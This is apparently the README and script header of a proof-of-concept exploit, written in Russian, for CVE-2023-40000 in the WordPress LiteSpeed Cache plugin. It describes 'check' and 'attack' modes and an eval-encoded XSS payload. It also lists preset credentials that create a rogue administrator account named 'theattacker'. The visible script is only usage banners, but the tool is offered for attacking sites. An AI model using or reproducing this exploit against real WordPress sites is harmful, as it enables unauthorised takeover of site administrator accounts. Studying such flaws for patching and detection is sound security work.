iveresk/cve-2023-40000Это PoC для cve-2023-40000. Эксплойт для WordPress LiteSpeed Cache.
Это PoC для cve-2023-40000. Эксплойт для Wordpress LiteSpeed Cache.
CVE применим ко всем версиям LiteSpeed Cache < 5.7.0.1.
Работает в двух режимах: check и attack.
Уязвимые IP будут проверять версию. Если версия отсутствует (цель защищена WAF).
XSS-код зашифрован для функции eval с предопределенными логином/паролем/email.
# user_login=theattacker
# [email protected]
# pass1=attackpass&pass2=attackpass
# role=administrator
echo "----------------Welcome-to-cve-2023-40000-script-by-1veresk------------+";
echo "+----------------------------------------------------------------------+";
echo "+-------------------For-The-Help---------------------------------------+";
echo "Example#1: ./cve-2023-40000.sh -h--------------------------------------+";
echo "+-------------------For-The--Check-------------------------------------+";
echo "Example#2: ./cve-2023-40000.sh <TARGET_FILE> <MODE>--------------------+";
echo "+----------------------------------------------------------------------+";